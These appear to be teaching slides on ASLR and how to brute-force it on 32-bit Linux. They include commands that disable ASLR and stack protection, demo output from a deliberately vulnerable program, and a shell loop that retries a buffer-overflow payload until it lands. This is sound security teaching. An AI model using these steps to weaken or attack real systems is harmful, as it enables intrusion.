

ADDRESS SPACE LAYOUT RANDOMIZATION (ASLR) OVERVIEW

Agenda

- ⦿ Previous cycles:
 - Discussed stack-based buffer overflow
 - Discussed DEP mitigation
 - Discussed how ROP can thwart DEP
- ⦿ This cycle:
 - Discuss ASLR mitigation
 - Discuss how to brute force ASLR
 - Tool Demonstration

Stack-based Buffer Overflow

- GOAL: Take control of EIP to execute code of your choosing
- Overwrite the return address with the address where your code resides

STACK

0x33333330	shellcode
0x33333334	shellcode
0x33333338	SAVED_EBP
0x3333333C	0x33333330
0x33333340	... stuff ...
0x33333344	... stuff ...

ASLR Mitigations

- ASLR randomizes the memory locations
 - You won't know what address to use to call your shellcode!

STACK on FIRST EXECUTION

0xBFABABA0	shellcode
0xBFABABA4	shellcode
0xBFABABA8	SAVED_EBP
0xBFABABAC	0xBFABABA0
0xBFABABB0	... stuff ...
0xBFABABB4	... stuff ...

STACK on NEXT EXECUTION

0xBFCD CDC0	shellcode
0xBFCD CDC4	shellcode
0xBFCD CDC8	SAVED_EBP
0xBFCD CDCC	0xBFABABA0
0xBFCD CDD0	... stuff ...
0xBFCD CDD4	... stuff ...

ASLR

- ⦿ Each time the program runs, it is loaded into a different location in memory
 - Thus, the stack address changes every time the program is restarted
- ⦿ Enable ASLR on Linux:
 - `echo 2 > /proc/sys/kernel/randomize_va_space`
- ⦿ Disable ASLR on Linux:
 - `echo 0 > /proc/sys/kernel/randomize_va_space`

Tool Demonstration

Tool Demonstration - Compile

```
#gcc -g -fno-stack-protector -z  
execstack mybigecho.c -o mybigecho
```

```
#./mybigecho < payload  
mybigecho() $esp = 0xbffffff310  
Address buffer = 0xbffffff310  
    HOWDY TEXAS!!!!
```

Demo – ASLR Disabled

Recall our basic buffer overflow from Cycle02:

```
root@kali:~# echo 0 > /proc/sys/kernel/  
randomize_va_space
```

```
root@kali:~# ./mybigecho < payload  
mybigecho() $esp = 0xbffff310  
Address buffer = 0xbffff310  
    HOWDY TEXAS!!!!
```

```
root@kali:~# ./mybigecho < payload  
mybigecho() $esp = 0xbffff310  
Address buffer = 0xbffff310  
    HOWDY TEXAS!!!!
```


Demo – ASLR Enabled

```
root@kali:~# echo 1 > /proc/sys/kernel/  
randomize_va_space
```

```
root@kali:~# ./mybigecho < payload  
mybigecho() $esp = 0xbfd99580  
Address buffer = 0xbfd99580  
Segmentation fault
```

```
root@kali:~# ./mybigecho < payload  
mybigecho() $esp = 0xbfe9fa60  
Address buffer = 0xbfe9fa60  
Segmentation fault
```

```
root@kali:~# ./mybigecho < payload  
mybigecho() $esp = 0xbfcc4520  
Address buffer = 0xbfcc4520  
Segmentation fault
```

Brute Force ASLR

- ⦿ On 32-bit architectures with ASLR, there are only 20 bits of randomness in the stack address because in practice certain bits remain the same
- ⦿ From our previous example:
 - 0xBF**D9958**0
 - 0xBF**E9FA6**0
 - 0xBF**CC452**0
- ⦿ Only the middle 5 values are changing:
 - 0xBF**xxxxx**0

Tool Demonstration

Keep the same address guess (0xBFFFFFF310), but try it repeatedly, with a NOP-sled to help:

```
for i in {1..250000}; do
    echo "Try: $i";
    out=$( ./mybigecho < payload 2>&1 );
    if [[ $out == *TEXAS* ]]; then
        echo "$out";
        break;
    fi;
done
```

Summary

3 Main Ideas

- ASLR mitigation randomizes memory addresses, making it more difficult for the attacker to know where the code he wants to execute is located
- ASLR can be brute forced by attacking repetitively until the guessed address lands in the NOP-sled, assuming the program can handle multiple tries
- 64 bit operating systems make brute forcing more difficult

Future Work

- Discuss memory leakage attacks to gain knowledge about the memory locations without brute forcing
- Discuss how Stack Canaries affect the scenario
- Discuss additional mitigations such as Enhanced Mitigation Experience Toolkit (EMET) for Windows and grsecurity for Linux

References

- ◉ Sims, S. (2010). Brute forcing ASLR on Linux, part 1 [video]. *Youtube*. Retrieved from <https://youtu.be/DcaVyy4yu88>
- ◉ Sims, S. (2010). Brute forcing ASLR on Linux, part 2 [video]. *Youtube*. Retrieved from <https://youtu.be/LRjsv5zAHjQ>

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